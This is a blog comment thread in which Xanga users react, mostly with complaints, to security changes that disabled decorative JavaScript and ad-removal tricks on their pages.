  • NOOOOOOOOOOOOO my password thingy doesnt work now :-/ i thought they said that was the ONLY stuff effected... :-/

  • keep on the good work guys..~!!!

  • i think don't think that's a good idea.. i miss everything on my page.. xanga used to be like my site to make everything look nice.. and all but i mean.. how are you gonna take that advantage away.. people work hard on xangas to make it look nice.. and you guys making it look messed up.. i want my blink boxes.. i want my scrolls.. i want everything to be normal.. but you guys are like.. hating on it.. fdkfjaslkfjsdal but errrrrrr GivE it back.. pLeASE.. i wAnt it.. =( it makes my page nice.. u don't have to block every html code dooD.. -_-

  • My site is horrible. I can't get to my private side, look at my subs or anything.

  • <TABLE id=HB_Mail_Container height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0 UNSELECTABLE="on">
    <TBODY>
    <TR height="100%" UNSELECTABLE="on" width="100%">
    <TD id=HB_Focus_Element vAlign=top width="100%" background="" height=250 UNSELECTABLE="off">

    yea..well i was pretty jealous of the codes anyways..lol good for xanga..!

    and did i tell you there is a mouse in the house..

    <TR UNSELECTABLE="on" hb_tag="1">
    <TD style="FONT-SIZE: 1pt" height=1 UNSELECTABLE="on">

  • hmm, I think the problem users have with the ads are they affect the layout of their page and the problem xanga has is that they want the ads to be noticed.

    Is there a way the ad could be put on the comments page, between the comments already left and the box you type the comment in. Maybe above the eprops? Or maybe between the box you write the comment in and the submit button. That way they are seen but dont affect the layout of the site.

  • man that sucks, i had the coolest status bar code. I really loved that code. GrrrrrrrrrrrrrrrrrrrrAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHRRRRRRRRRRRRRRRRRGGGGGGGGGGGGGGGGGGGG!!

    meh, over it.

    i want my code back
    Did title bar codes stop working too? Cos mine did.

    ->DRAKE<-

  • the xanga ads are annoying...that's my reason to take it out but then the ad blocks the thing when you wanna save your changes...

  • HAHAHA I like the pic with the kid and the fallen Icecream... hey can we have more skins for the blogs?

  • wow im shocked when i get 10 comments you got almost 1000 X_X

  • i also wouldnt mind if the ad were on bottom

  • i honestly dont see how my cursor clock is any threat to your system...or my blinking blocks for that matter...or my scrolling messages...*shakes fist at Xanga HQ*

    i think that anyone who is smart enough to actually be able to strip off the xanga ad deserves to let it be as it is...nothing was damaged in the process until you guys actually noticed it...which is what i find odd...

  • r u eva gonna bring it back???

  • "if the ad banners were on the bottom, and not so obtrusive, people (including myself) would certainly mind them less."

    I agree with this. It's hard to have a decent looking web page when the stupid banner is in the way.

  • Much love for the site, many thanks... too bad we had to drop some scripts to save the ads, mebbie there's a way to adjust the way the ads are coded or something or an alternative for using an absolute position on one or the other? I dunno.

    Regardless, much as the scripts can be fun, I think most of us would prefer that we have the possibility of a free membership than have a couple extra scripts.

  • that sucks.. how many codes are you taking away from us? O_O i miss those blinking boxes T.T

  • DO U NOE Y XANGA FUKK'N DISABLED THE BLINK BOXES AND THE FALLING STARS AND OTHER SCRIPTS TOO??? CUZ PPL LIKE FUKK'N JOHN CANT DO SHIT WITH THEIR FUKK'N XANGA AND BECUZ THEY HAVE TO GET PREMIUM JUST TO MAKE THEIR XANGA LOOK GOOD. AND IT DUZNT EVEN LOOK GOOD AFTERWARDS. IT STILL LOOKS FUKK'N CRAPPY AND SHITTY AS HELL. CUZ THEY'RE JUST FUKK'N JEALOUZ THOSE GODDAMN FUKKERZ.

    AND FUKK U
    MAKING MAI PAGE LOOK LIKE SHIT

  • thats depressing!

  • sweet

  • U FUKK'N LOSER

  • OMG>..DONT TAKE AWAY THE JAVASCRIPT STUFF...thats what makes xanga fun!!!...or everyones would be the same, BORING!!!

  • ohh so thats wt happen.... i was all wonderin like wt the heck happen to my blinkbox!! now i noe!!

  • all I want to know is how to change the eprop pic

  • um.. hi. there's a banner in the way when i try to post.. is that suppose to happen? =?

  • okay well i guess ya'll gotta do what yu gotta do.. lol i don't care i didn't use those anyway =p
    iight well thanks for the info!

  • I understand the ad remover, but I don't understand why you got rid of blinkie boxes, clock cursors, and the snow falling effect.  I think blinkie boxes are pretty, but you probably know what you're doing way more than I do.

  • i understand what your saying but how can i make the snow and blinkys show up. can you give me the scripts so i can i chang it.

  • Yah who would look at the ad's at the bottom tho...maybe u could put them on the side...all i kno is when its on top it ruins our images we usually put on top...so thats why and i did it took i took off the ad i took out the code but i dont think its working so sorry but tats all i can do...

    -Amannduh

  • My friend just made a blinking box for my xanga, and then the next day, it didn't work!!! (Imagine how sad I was) My friend's blinking box thing isn't working either... please bring them back!!!

  • I'm not even sure what "blinkie boxes" are, or the "scroll bar" thingies people talk about.  I'm kind of glad that those html codes are gone because my crappy 56k modem and dial up service couldn't handle most of those sites anyways.  Oh yeah.  Can you create a code to get rid of those "pop up" boxes with the little messages written on them that some people have on their Xanga?  It's extremely annoying.  Thanks a lot.  I appreciate it. =)

  • I dont' seem to be having any issues with my Xanga page. Infact I just updated from my old Lord of the Rings look to a new Party Monster look. I have to say the changes don't bother me all that much. Haven't got a clue what "blinky boxes" are and so there won't be any falling snow on my Xanga page in the winter time, stuff I can deal with out. Just find other things that are just as cool to add to your sites. I am sure your whole life doesn't revolve around falling objects, chatterboxes, and blinky boxes.

    If you don't like the ads get jobs like the rest of the people and buy a subscription to Xanga. Or ask your parent to buy it for you for a gift or something. Stop complaining.

    These people don't even have to do this for you. They are only trying to protect computers from viruses. And they have subscriptions for a reason, to make money to run these sites, things in the world aren't free you know!

    --Mandy

  • how come some site's blinky boxes work when others dont?

  • Good to know.

  • lyke maybe you should protect xanga sites from all those thigns u talked about.. but the blink boxes and falling objects and stuff dont harm anyone..

  • what about the count-up code? it doesn`t show up now ..

  • If these security measures mean that some idiot is not going to be allowed to subscribe me to their site or any other immature actions, I'm all for them! I'll never understand those childish people who feel a need to mess with everyone else's lives online. Get a life, I say!

  • cbox.co.za did not make the list...please check it out

  • i have a suggestion... or an idea or something... maybe you could make the xanga add smaller or something... cuz it kind of bugs some people.. and some ideas you could add little html help site or soething ^^ but otherwise good job

  • Oh, I like the ads on bottom idea.  My site was pretty basic anyways because I don't know jack squat and a half about html or scripts, so I don't think anything was affected!  But thanks for putting the link for changing eprops and comment titles!  That was tight.

  • ohh grr... and wen i thought my xanga was almost perfect... okay i guess its for the best...

  • ITS NOT FAIR THAT THE EPROPS AND COMMENTS THING DOESNT WORK ANYMORE!

  • power to the people...keep xanga free!!

  • how come on my xanga i hav a blinky box still?? iz it cuz i hav a premium account??

  • Want A message in your status bar?

    This code will work. It doesn't move though, just appears when your page loads and stays there.

    Code by Kathleen not me.

  • code wont post.

    email me insomnia1@iprimus.com.au if you want it.

  • Wow... people get pretty passionate about some pretty basic stuff... if people want all these features that Xanga doesn't have any more, then they should just go to another blog site... the web is full of them.

  • yeah people are getting smarter nowadays...security has to always be ahead.  i guess its understandable.

    gud luck.

  • They still working with all my friends, i dont know wut the hell you all are talking about

  • Noone's flooble works either

  • something needs to be done about the hosted codes. i had a chatterbox from flooble.com and now it doesnt show up. are these "security measures to keep xanga safe and free" really necessary? dont get me wrong, i understand that you people need to make money off of it. but the restrictions on here are overwhelming. in my opinion, it just drives everyone away. personally, i dont have a problem with you people enforcing the anti-ad codes. but its getting out of hand.

  • blink boxes rainin hearts and timers doesn't hurt ur site.. =(

  • im confused what does this mean? where are my comment boxes??

  • while xanga is safe and free, my page is now filled with frozen stars that can`t move when they are suppose to.  thank you verry much.. for nothing

  • so wait is this y the chatterbox thing isn't working anymore?..kinda got confused

  • meh, you gotta do whatcha gotta do

  • most def with miisz b3d and the other kat

  • doh....stupid ppl stripping ads! make life so complicated! lolol...i'm dazed...i dunno what i just read...woah! yea lets put the ads on da bottom...peace out

  • a

  • i miss the falling objects script. now it wont fall just stays on top all the time.

  • xanga can't get any lamer than it already is.  hmmm..maybe i should just move to typepad or better yet, blogger. 

  • Man...!!! Thats such a bummer...

  • cant you just take out the banner and get on with our creative lifes !

  • someone tell me what is going on. i sent 3 comments saldne67/Xanga and they dissapear as soon as i hit submit. how do communicate.;??????????

  • Xanga is great and I'm glad to see anything happen to improve it. I'm glad I have premium. Keep up the good work!

  • Good lookin' out you guys!

  • huh?....

  • Javascript is great and all, but can i insert it into my header html and create a kind of portfolio nav bar. I've externally hosted all my pics and just want to link them using java but, nothing except html works in that box, maybe we could fix that...:/

  • Thanks for all you do to keep xanga safe and the great place that it is. Don't let the bitching get you down.

  • i need my blink boxes back

  • Like it has been pointed out before, this is all for your own good. Some JavaScript can have malicious code that can mess up your computer/etc. But, what seems to be of just importance is the fact that they are trying to ensure that the ad (note the sigularity of that word because it IS only one AD) is prominently on the website so that the cost to you, the user, remains the low, low cost of FREE.

    And to everyone that says that the Xanga team is just trying to make more money; well, that probably isn't true. I recall seeing somewhere on the Xanga homepage a while back that they depended solely on the sale of Lifetime memberships in order to upgrade the website as needed. Do you guys realize how much money it costs to host a website? I do, because I host my own, in addition to my Xanga. Whatever money that the Xanga team gets from running this website is probably just barely enough to cover the costs of running such a massive website.

    The reason why the ads are on TOP is because the top is the website is what you see first. When you read a book, you work from top to bottom. Same concept here: you read the webpage from the top to the bottom, and since you're seeing the ad first, you'll be more likely to click on it. People aren't going to scroll down to the very bottom, just to look at an ad.

    Let's say the Xanga team, instead of disabling code that removes their advertisements, said that they were going to remove all ads together, but you'd have to pay $5 or something for it. That would suck even more, wouldn't it? And it just goes to show you that there is no such thing as a "free-lunch" in this world; you have to be flexible in order to get what you want. The Xanga ads are REALLY not that obtrusive. It's only ONE banner ad. There ARE sites out there that love to adorn your websites with advertising; be thankful that Xanga isn't one of them.

    Also, don't feel like you've been singled out because you DIDN'T disable your ad, but your JavaScripts dont work anymore. That's how the world works: one bad apple spoils it for the bunch.

    With that said, was there a more elegant and more Xangan-friendly way to handle this situation? Probably, probably not. But in the end, realize that Xanga is doing its best to work for you. Think about that when you start to complain that everything in your Xanga doesn't work. There ARE ways to make a Xanga look good without resorting to massive amounts of JavaScript. And if you do want to use JavaScript, just pony up the extra $4 a month, which is NOT a lot. People who use Premium aren't trying to make up for their lack of design ability; they are just extremely happy with such a great service that they are willing to pay for it.

    And guys, there are more important things in this world to worry about than silly little blink boxes or countdown scripts.

    There's probably tons of spelling or grammar mistakes in there, but I'm too lazy to fix them. -=)

    /my $0.02

  • yea well, i liked my codes... now half of them aren't working

  • You guys better be doing something on xanga....like fixing it or something....because neither my blinkies nor my falling flowers are working...its like everything on my site that moves is frozen....and the same with my friends too...so wuts going on here?? u better fix something...

  • I dont think a lot of you guys understand, the ads are what makes xanga possible. I myself am a web designer, and I understand that ads are completely essential.

    Xanga gets paid for every time someone looks at an ad. The value is substantially higher if the ad is at the TOP of the page, not at the bottom.

    I do see where all of you are coming from though, but hey, its how the world works i guess.

  • No more blinking box

  • My website meter doesn't work??  Not sure if this is a script problem or not, it was working until this morning, now it's gone.  I repasted the code and it's still not working.  It's from sitemeter which was recommended by Xanga to use.  Thanks,
    Melissa

  • What about SiteMeter? I had one of them on my site, and it passed through the Beta, but now it doesnt work?

  • great timing Melissa...

  • Can you re-enable sitemeter.com?

  • you guys are so funny and upbeat about everything. i want to meet you all. no really. :)

  • well, i guess sometimes security means extra measures... =- oh well... doesn't really matter to me, but one day it might.
    RNA

  • pink rox my sox

  • yah, who in their RIGHT MIND would PAY to get an online journal? who are you people trying to rob?

  • This is awesome

  • NiCe.........

  • My site meter doesnt show up on my site anymore. is that because of the javascript?

  • me too, my sitemeter got killed off by the javascript firewall you guys implemented. the counter was harmless... john? xanga team? anyone on the same boat here? *sigh*  

  • i'm tormented by my missing snow i love my site...

  • does that mean powerwebmusic codes don't work anymore? cause i don't really understand

  • Make the codes usable. Then tell everybody who wants to keep their blinkie boxes and whatnot to patrol Xanga. Have a place where anybody who uses malicious codes can be reported. If people want to continue using their blinkie boxes and whatnot, they'll do it.

  • thanks man!! 

  • hEy!!i miss my LiL bliNkY liNks too!!bUt they haVe to dO whAt stOps pEopLe fRoM rUiNiNg our xaNga for

  • my jokes sidebar no loner works. can you bring it back!?! http://www.jokes2go.com . also http://www.clockbot.com 's scripts dont work. thanks

  • Did you put blogring.com on the list? thats where I get EVERYTHING for my Xanga.

  • Yeah, i dont really see the point in paying for an online journal.

    I really love this site though, and i would hate to see it go down as others have. (i mean by having their users pay for the services)

    And also as another person put it, if the ads were at the bottom of the page, i wouldnt mind it so much.

    ^__^ thanks.

    -beCCa

  • yes, thank goodness those blinky boxes, falling objects, etc. are gone. less crashing for IE when i go to people's sites. good job. honestly, i have no problem with the ad on the top. don't know why people are complaining.

  • LIVEJOURNAL IS BETTTTTTTTER!!!!!!!!

  • If the adds could maybe be modified to fit the colors of your xanga, then I doubt anyone would care about the add. like you could have different styles to choose from or something. because if you have a black xanga, and a white add, it looks a little weird. oh, and yesterday I added this chatbox from flash-gear.com, and this morning when I logged on it was gone. could that be because of these new security measures? But I still see the same chatbox on other sites.

  • well..i don`t care..they're just websites? right? this only for people who DONT REALLY have lives. -_- including me.

  • i dont understand one thing, why is that we HAVE to have xanga bannners, if you got rid of it it be MUCH better...comment back for me please

  • GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

  • okies hey uhh... i dunno Y this is happening to my xanga... but i cant stand it.. for some reason a specific pop up always come on my xanga each time i visit the site... i hae a pop up blocker and for some reason it still comes up.. its annoying and this is probably less of ur problems rite now... but... i would apperciate it greatly if you were to look into it... ^_^ thank you.. o and by the way im support the security measures you are taking... ^_^ well anyways ill be off... see you

    ~Tanya~

  • are those scripts going to be permanently disabled? i dont care about the blinky boxes and the other things, but I really liked my status bar to say stuff...is there anyway you guys could make it so that these codes still work?...if not thats ok...

  • that does really suck i loved my chatterbox thinger and when i came on one morning it was gone

  • Thanks for the codes! now i have a fancy chatterbox thingie... i love you.

  • my pretty layouts depended on some of those codes -____- is thare ANY way you guys can change some of that? all my friends w/ xanga use those codes too .. =/

  • i really dont think that that was fair...those were like they few codes that i used and its completly unfair that you stopped them...i am not happy..

  • ad'z on xanga?? well i dont really care much for it, well i do but i mean can you make it a little less wide?? like instead of having it like practically whole way across the page can you like make it half the width?? well if you do that'll be great!!
    -concerned xangan

  • I think the ads are fine... not really a big issue. At least they dont have the annoying popup boxes..

    However, something that really bugs me is the music in the background. I mean, yeah, its a cool thing and all sometimes.... but there really should be a way to turn the crap off. Especially with 56k, and it takes forever to load the music with the page and it sounds absolutely horrible. Not sure how you would implement it, but its an idea....

  • Please look into support for http://www.feedroll.com

    http://www.feedroll.com

    Thanks (-:

  • oi vey

  • hey um what about those counters... like those things that say *100 days, 15 hours, 16 minutes, 42 seconds* stuff... i like that... it kept me track of how long it's been since i was with mai guy. does that security affect this cuz mai counter isn't working anymore! please fix it please?

    +!+ baby elmo bear +!+

  • oh ok

  • hmm this sucks bum bum... oh well

  • so you guys know, i believe the new java restrictions have hurt your "look and feel" page. the top "save these settings" box is underneath the top banner ad now, giving you barely enough room to clich the "yes" and "no" buttons

  • AHHHHHHHHHHHHHH!!!!!!!!! My clock! My beautful swirly amusing closk is gone!!! :'( Does THAT really have to go?? *sniff* ...woa, I sound stupid. But, reconsider!

  • Ya know sorry to say this but some people have a lot to B$TCH about when they're getting something for nothing. Just wanted to thank you for the cool stuff and the continued efforts to make your sites better. I love Xanga!

  • I'm terribly confused, these changes have already taken place, right? Because if so, my blinking boxes still work... :confused much:

  • Oh, and my status bar still has text too.

  • A good idea. Can't be paying for this Xanga. ;)

    But uh..about the different colored comment things...is it supposed to also color your entry on the comment page? That's rather annoying!

  • it kinda sucks some people are abusing xanga.....oh well what can ya do other than to take away some privleges.

    ~*Emilia*~!

  • Hmmm, some people are very rude,a free site and they still try to screw you over....

    I just wanted to say, I appreciated the free premium you gave me, unfortunately about the only thing I used was the picture hosting (I'm not much of a coder, in fact, I'm an ignorant moron when it comes to coding)

    Keep up the good work, this site rocks....

  • Please tell me the script code is going to come back. Because I've seen people stealing stuff off of my page!

  • i dont know if i have to tell you this?

    but i host my own javascripts on my own server

    http://profiles.panichour.net

    well, the server is just panichour.net

  • DAMN!!! i cant even update my xanga anymore.... i cant go to look & feel! wtf!!! i cant dit n-eting!! grrr....

  • i just REALLY hope you at least have the SCRIPT code..because its not fair!

  • its cool. and thanks for the free site anyways. <3

  • I really can't understand why there are so many people asking for ads at the bottom of their Xanga sites.  The whole idea of advertisements on FREE sites is purely to be seen and to advertise.  That would not happen at the bottom of a page...they would simply not be seen (which is, of course, why the idea is so appealing to those with free sites).  And it's not like the ads cover up text or anything either....I've been to sites where the advertisements are much more obtrusive than here.  Surely it's a small price to pay for such a great FREE service.  So stop your whinging!! 

  • nice

  • just get rid of !

  • I am a recent Xanga addict and not script savvy, but if this is what you have to do to keep it free and safe...then so be it!  I love Xanga and I encourage all of those I know to join!

  • Please add this hosted javascript too:

    The host is http://www.textamerica.com which is a mobile blog community. The script retrieves the latest moblog image to other sites, like personal sites.

  • would it be possible to move the xanga ad to the bottom of the page as a sort of compromise?

  • I agree with auramei; since I can't link to pictures for my profile anymore, I have to save it to my computer, then upload it, and the picture never comes out how I want it to. What happened to the linking option?

  • i miss the codes! stupid priveledge abusers!! now mine r gone! o well...

  • wtf now we cant use codes! yur not doing us any good here.... i mean come on! no more blinkies, no more status bar text, no more cursor clocks!

    i thought u were supposed to help us...

  • that stupid ad is now stuck on my xanga rather then ontop like it used to be. >=[ .. so what the heck am i supposed to do now if i can't even get rid of the ad?!!!

  • Why Thank You!

  • thanks guys!! and the scripts that don't work were annoying anyways.

    as for the ads...if they're at the bottom of the site then no one will see them, thus defeating the purpose. if you were an advertiser, would you want to pay money for an ad no one would see?

  • i want my blinkiez!! and my falling hearts!!!! and my status bar text!!! iz there any way that i can still have them??????????

  • thanx

  • but if we dont pay this site will totally go down  well i think..?

  • thats cool. I hope people stick to that rule and do not go againist it.

  • i know you guys won't even see this or anything, but you should try and figure out a way to let us have our blinkboxes back, and other codes, it made my page the way it was, now it just has no jazz :(

    thank you

  • Lol i just spent an hour tryin to figure out why my xanga was messed up...
    Oh wellz...
    Anything for a safer xanga...

  • i have to say that blows chunks

  • I like pie :)

  • Ads are more see-a-ble if their at the top.  Some people don't even scroll right to the bottom so I reckon top is good.  What more can you ask for, I mean xanga is free and having an ad at the top won't kill you -____- Anyhowz, keep up the great work xanga staff~~

  • my chatterbox code is being wierd. it should be on the right but its all the way up at the top. does this have anything to do with your changes??. thanks!

  • my chatterbox isnt working anymore.. =(.  can you slap this on the list thing http://cbox.co.za/index.php!?  please?!

  • YOU TOOK AWAY THE CODES?! YOU FOOLS! HOW DARE YOU! I liked my falling script. -sniff- grr..

  • -.-

  • put the ad back on the bottom.  it was there and not in the way. win-win situation!

  • hi! wellz can u plz look at cbox.com cuz i wanna know if maybe i could use that chatterbox cuz it matches my xanga more. wellz thanx for jus reading this bu can u plz look at it plz. oh and it would be better if the addz were at the bottom.

  • I don't mind the ads at all, although it would be nice to get my status scroller back, i miss it :(

    thank you for providing a free xanga, though. i guess i'm just going to have to get used to not having a status scroller. i can live with that.

  • sorry, i gave the wrong link =/ this is the link

  • ahh well i wa sjust messinw it da codes no harm meant or done (i hope)

  • Thank goodness! A lot of these scripts irk me. Plus, it's not cool to disable ads when you're using a free account.

  • `sigh.. thats lame

  • this is cool you guys rule

  • ehh, it kind of sucks that there has to be a huge xanga ad at the top of any xanga... but it seems fair at the same time.

  • so does it mean having blinkies and renamed eprops are illegal? I'm confused on what i have to do??

  • i miss my blinkie boxes =[

  • this is madd gay ... i get my friend to make my xanga and its always good so now u gotta take dat away ? .... madd gay son ... madd gay

  • hey, that sux, u guys r messing around our codes for xanga.....even, u guys already drop the public profile of linking our pic...... is not fair... =( *sighs* more u guys change stuff on xanga....the more we lose our optional choices......i hope in the future w/e u guys did is for the best......

  • well

    i liked how u guys had the ads at the bottom, taht way it didn't really interfere with our layouts

    and i REALLy want my blink boxes back!!! :(

    i understand that youu're trying to make xanga better..but ur making people unhappy by obstructing their layouts and such..why can't u just punish the violators who try and get rid of the ads?

    *sob* I WANT MY BLINKIES!!!!

  • i think people should stop complaing about the adds... personally, when i look at sites i dont even notice them at the top, as long as you can keep xanga free and have it working as well as it does, a little banner at the top wont kill anyone..thanks for all the hard work!

  • Wow, some of the people who are posting here are truly proving they are 1)inconnsiderate and 2)ignorant,.  C'mon people we have a free service, we should be happy we are even allowed to customize our xanga sites at all; if anything I am very generous they did not take away all the other codes, which even now they have every right to considering we are not paying for there services, don't you agree?

  • wow.

  • good job guys!

  • i dont understand but whatever floats ya boat

  • Man people, jus be quiet and live wit it(the ones that r complainin like dere is no 2morrow) The dudes will figure out somethin so ya'll jus chill and let them wrk on it.

  • Dang,  no more amination of the banners.... that really sucks. "Xanga security measures my A**"  The startTimer() function has no dang security loopholes- please tell me why this is soooo bad, same with using loops for incrementing indexes for animating objects, oh wait a minute-
    var i = 1; i ++, i < 10 sounds so scary OMG!

    Don't get me wrong but I like xanga for a free site as I like free e-mail sites(yahoo, etc.) but other than believing this security measure is to disable Malicious code, I believe it is as well as a marketing ploy to get more premium users.  The best things in life are free.

    Cmon' now, this security measure thing is like xanga removing most Javascript functions to president Bush's patriot act... Just disable the functions that are needed for malicious code, not the "whole nine yards".

    I believe there are many other alternateves for paying for server hosting fees.

  • rah go you xanga folk!   thanks for creating this site.   and thanks for getting rid of those anoying blinking boxes....oh and the malicious code too.  

  • john is cute

  • SOMETHiNG iS WRONG WiTH MY XANGA. iT WON'T LET SOME OF MY JAVASCRiPT WORK. iM PRETTY SURE iTS NOT ANY MiSSTAKES i PUT 2 MAKE iT NOT WORK. SO i THINK MAYBE iT HAS SOMETHiNG 2 DO WiTH XANGA iTSELF. i DUNNO. i NEED HELP.

  • So why couldn't you simply disable the code that stripped the ads? I had a scrolling status bar message that was sort of essential to the theme on my site, and now I can't use it. Would there be any way to re-enable the scrolling status bar, because those are harmless?

  • ok?

  • hi there, um i would like to know if you can delete my account .. cause something happened with my skin and it's messed up = if you can just delete it and i'll make it again with the same username and everything. thanks

  • o yea um .. i fixed it so no need to do it =) thanks!!!

  • I am another that also agrees with the adds being on the bottom. They tend to get in the way when we add our own headers. Your adds will still be seen , but please place them at bottom of our pages.

  • so thats what happened to my scrolling stuff....awwww i dont want it to disappear!!! I luv my scrolling stuff....grrr. damn people who abuse the system!!!

  • could u please let me know how to delete a xanga site. Ty

  • awhh.. you are stopping it? Why?

    i think no one should stop using hte status bars.its like, the only thing that amkes the site looks better. and purtier.

  • why?

  • yeah..thats dumb. god...all that work for nothing....

  • My header doesn't work anymore :( and I miss my junk on the status bar. I got my header from here

    http://www.dynamicdrive.com/dynamicindex10/wave.htm

    Is there any way I can get it back?

  • anyone who has time to rip off xanga isn't spending enough time blogging and propping

  • Hey man, do what is right.

    This is a free service.

    I will say again folks.

    Nothing is FREE- Xanga gives it however.

    Service is something that is done FOR YOU-again that is not free.

    So we are getting 2 free things in one package.

    Don't complain I say.  Just be grateful.  Thank you Xanga! :D

  • I guess its's a bad thing that people are stealing your banner ads, but I'm so sad that nothing that scrolls works anymore and my blinky boxes don't work either :'(

  • damn i wish i could get dis many EpRoPs

  • Ive emailed xanga many times about an abuse problem for over half a year now, and they never respond.

    A friend of mine is being harassed by these sites. Although they might not have been updated lately, people can still see them, and therefore, harass this person even so.

    Please shut these sites down. They are causing great chaos in this person's life. The sites are im_the_real_branden_iwane and im_branden_iwane. Thanks.

  • please help..i got a problem in my xanga.....(all the pages that to leave comments and eProps)

    the advertisment of the xanga on the top...now become on the right side instead of the centre of the top....can u help me to fix it?? thanks a lot

  • my site is ok, nothing happened under beta

  • man how come you take out some of our codes ! you know that their are some ppl out der trying to make the no banner ad code or they have a hack or something to get rid of the banner crap even you keep on updating you still will find people trying to get all sorts of codes frome other sites !!!

  • Yay! Now my computer won't freeze up and stuff! All those codes on my friends' sites used to freeze up my crappy computer.

  • I have a xanga site that you gave a free trial of premium to. Yesterday was the last day of premium and my site didn't switch back to the way it was. Am I now paying for premium?

  • yeah ....i enjoy the codes. but for ppl to do that to websites about the xanga ads and to hack others xangas of their things...ehh bad ppl. bad ppl...must kill

  • great work man, thx a lot

  • God, if I were you guys I'd be majorly bitchslapping all these whiney brats..*I* appreciate Xanga, and you guys do great stuff, so just hope that all those people who don't appreciate what you guys do end up going to livejournal or something.

  • I have to agree.. thank you guys for keeping xanga safe and free.. but about the code issue, like for your ads.. no offence or anything but many people that I have observed including me find them very annoying. I mean like what they say on the ads, yet I know what you mean as when first time users start using the "eprops" and "comments" they wouldn't really know what the meaning of all that is, but since the ads are so big and don't they sometimes blink?.. well anywho maybe you could like make the ads smaller so people might stop trying to get rid of your ads and keep them on, or do something about the ad issue b/c people are going to keep removing these ads (yes I removed my add too becuase of the reasons above) and I have another thing about the ads, like when people make new layouts for their xangas, the ad pops out at them, in a good way for you but just makes the whole layout look... retarded. well I just wanted to get my point across, I hope you guys won't get mad at me for trying

    sheila--*

  • Cool

  • the code for renameing to e-prop doesnt work at all! help!

  • A few comments/questions:
    *Does the new security include blocking people from getting your IP address?  I had an instance where someone tracked me from their site and then posted my IP info on their site!
    *In reference to hpucutie03, could you chagne the script thingy so it won't be like:  Keep Tabs on Ya Girl to imsum1special2?  that "to" gets in the way
    *Also, the ad box is blocking the Preview's Yes or No link on the Look & Feel, can you fix that?
    *Thank you for getting rid of blinking boxes, clock cursors, falling objects, and scrolling words.  They were EXTREMELY annoying and sometimes slowed down my computer.  I was hoping you'd come up w/an option to hide them
    *Don't listen to that nonsense about hiding the ads...  Xanga is the best, free journaling site (I've tried several) and it needs to stay that way!  Ads = Free Xanga, and as an in-debt college student, I appreciate that!
    *If you all actually took the time to READ THE ADS, you'd notice that Xanga has a way to change eProps and Comments on its own and you don't need to use a separate script!  They're there to help you!
    *The purpose of xanga is posting/blogging, not scripting, so if you really want to do all of that stuff, you should PAY for it and stop complaining!
    *AND if you're threatening to leave, who cares if you're a free member?  You're not helping them finacially, so it doesn't matter that you're gone
    *In reference to Rockyccs comment about "low class xangas little kids make" All of those scripts remind me of little children striving for attention to their site.  Maybe if you'd just write interesting things, ppl would come by for that
    *And Xanga can't punish just the users b/c it's SO easy to get another user name!  Look, I have FOUR Xangas!
    *Finally, do you really thing cussing out John and the rest of the Xanga Team is really going to make a difference?  Voice your concerns, but they're doing the best they can!  Awesome job, Xanga Team!!!!

  • And that last comment, can you respond to me at imsum1special2, please?  I didn't mean to comment under the user name addicted2gum.  Thanks a bunch!

  • Good job as always :) I pay premium and I have no issue with it. Its not so much to pay and you are supporting the 'little guy'. Who cares about an ad? Geezous, its not like it really going to affect your day in some horrible way. The people at Xanga work to keep this all free for some folk...and cheap for us premium users. Why so much complaining about blinky boxes and such? Sometimes I visit a random blog and it crashes my browser...I mean, some people go way over board. Music and twinkling crap falling all over my screen, and script running at the bottom of the screen, blah blah. I guess, whatever makes you happy...but be a bit understanding to the Xanga folk...they are working for the paying AND non paying. Grow up all...and appreicate. Thanks again :)

  • The purpose of the ads is for people to click on them, visit the sponsor's site, so that they can get money. If they were on the bottom it would be less of a pain to look at but I'm sure it would have an effect on the response rate, which probably wouldn't be so attractive to current/potential sponsors of Xanga. Is it really that big of a deal? I guess I'm just so used to ads that it no longer phases me...

    Keep up the great work Xanga!

  • eh whatever

  • sorry to be such a bitch

    but ever since your new change there has been a script error of some sort.. just wondering whats up... but good stuff with what your doing..

  • Well, considering that most would rather be a rebel than just a member, iI can imagine that it's kinda difficult to keep track of those people. But anywho. You have my sympathies.

  • LONG LIVE XANGA!!! VIVA!! VIVA!!!

  • that's OK. Xanga is still sekshii. ^_^

  • That is soooooo awesome thnx

  • speaking of hacking, there was a REALLY popular MSN group that was recently destroyed by a hacker, and that hacker did it for no reason at all. and that MSN group was based on DBZ. i liked that group. i was even part of it.

    DAMN THOSE HACKERS TO HELL!!!

    (ahem, pardon my language)

  • So this means the for free users the status bar code will not work anymore at all? Dang......

  • so sad so soon

  • the new(b) security measures are horrible for someone who just wants to enjoy the site.

  • I've had a problem with a couple of sites I like to read putting spyware on my computer. Is this something Xanga can address or is it up to the individual?

  • it ruined my xanga...i can't even see my backgrounds or anything. blah.

  • what's up with randomly underlined and Linked words? i hardly put links in my posts, however some have shown up boldly underlining and linking Keywords in posts or comments?

    do you know what's caused this?
    do you know how to remove it?
    is it legal?
    it's almost as though someone has come in and linked my site with words that i didn't do. not cool.

    -7

  • Damn! Well good thing i don't have ne of those! SUX 4 U PPLS! ;p

    sry though!

  • soo...do you think that ppl can eventually find a way to bring back the cursor clocks and the status bar codes?

  • so you mean..the blinking thing doesnt work?

  • propn'z on keepn' xanga "fresh"...rock on!!!!!

  • you should make some of the codes that were unhealthy part of xanga... like make a new version that has fun things to offer :)

  • ok, i have a question.. i know you get billions of questions everyday but i really hope you can answer mine. see, i have music on my xanga.. i would get my music threw http://www.cdzlimited.net but their website doesn't work anymore. and i really wanna be able to change my music. so could u give me a good simple site to go to that will let me put music up... one with LOTS of songs... ok.. or if u figure something out with that cdzlimited thing... that would help a lot!!! thank you so much!!!

    Sheena

  • hmm....that really bows. it's now fair that evry1 has to get punished... o well and the beat goes on....

  • Anyone who's having problems with the "Save these changes?" thing on the CLAF preview, I've made a temporary fix!

  • quizzilla's pics arent showing up anymore i dont know if thatis the same tho

  • I do admit that blinkie boxes and my falling objects (snow) were a nice touch to my blog... but I think to myself: If stripping this stuff away helps keep Xanga free, better have something that nothing, right? So I would suggest you everyone who thinks that this is unfair to get over it. *Plus, there are tons of other codes that are just as good as blinkie boxes and falling objects! *

  • Should I be worried about my xanga entries if they use differen't codes such as the new names for the comment and eprops??

  • aww my falling hearts won't work anymore---they just kinda stay up at the top of the page and don't do anything...oh well...

